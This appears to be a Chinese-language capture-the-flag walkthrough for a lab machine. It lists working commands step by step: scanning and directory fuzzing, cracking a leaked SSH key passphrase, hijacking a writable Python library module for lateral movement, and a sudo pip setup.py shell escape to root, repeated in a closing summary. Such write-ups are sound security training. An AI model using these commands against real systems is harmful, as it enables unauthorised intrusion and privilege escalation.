1、nmap -sn 192.168.52.0/24
2、nmap -p- -A 192.168.52.113
3、访问80
4、gobuster目录扫描
gobuster dir -u http://192.168.52.113 -w /usr/share/wordlists/dirb/big.txt -x .php,.html,.zip,.html
发现robots.txt
5、访问robots.txt,提示存在“~myfiles”,访问该目录。提示继续。
6、继续目录扫描使用wfuzz
wfuzz -c -u "http://192.168.8.113/~FUZZ" -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404
发现secret目录,访问,给出了在当前目录下有个隐藏文件,并且用户名为icex64,爆破字典fasttrack.
7、继续扫描
ffuf -u http://192.168.52.113/~secret/.FUZZ -w /usr/share/dirbuster/wordlist/directory-list-2.3-medium.txt -c -ic -e .txt,.zip,.php,.html -mc 200 -s
扫描到mysecret.txt,访问http://192.168.52.113/~secret/.mysecret.txt
8、base58解码,得到私钥。保存到pri.txt 使用ssh icex64@192.168.52.113 -i pri.txt 登录,提示输入口令。使用john爆破口令。
9、ssh2john pri.txt >hash.txt 使用ssh2john将私钥转化成john能识别的格式,pri.txt权限需改成600.
10、 john --wordlist=/usr/share/wordlists/fasttrack.txt hash.txt得到口令
11、ssh ssh icex64@192.168.52.113 -i pri.txt 输入口令,登录,这一步,需要将pri.txt权限改成600.
12、cat user.txt 得到第一个key.
13、sudo -l查看
14、查看heist.py,该文件只有只读权限
15、find / -name "webbrowser*" 2>/dev/null 查看webbrowser。并查看文件权限,拥有读写权限
16、在webbrowser.py中open函数加入 os.system("/bin/bash")切换到 arsene的shell。
17、sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py切换用户shell
18、sudo -l 查看可以执行的命令,发现可以执行pip
19、pip提权
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
20、拿到root权限。
------------------------------------------------------------------------------------------
总结:
1、gobuster dir -u http://192.168.52.113 -w /usr/share/wordlists/dirb/big.txt -x .php,.html,.zip,.html
2、wfuzz -c -u "http://192.168.8.113/~FUZZ" -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404
3、ffuf -u http://192.168.52.113/~secret/.FUZZ -w /usr/share/dirbuster/wordlist/directory-list-2.3-medium.txt -c -ic -e .txt,.zip,.php,.html -mc 200 -s 可以指定多个后缀
4、ssh2john pri.txt >hash.txt 使用ssh2john将私钥转化成john可以识别的格式,并使用 john --wordlist=/usr/share/wordlists/fasttrack.txt hash.txt破解口令
5、在webbrowser.py中open函数加入 os.system("/bin/bash")切换到 arsene的shell。
6、pip提权
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF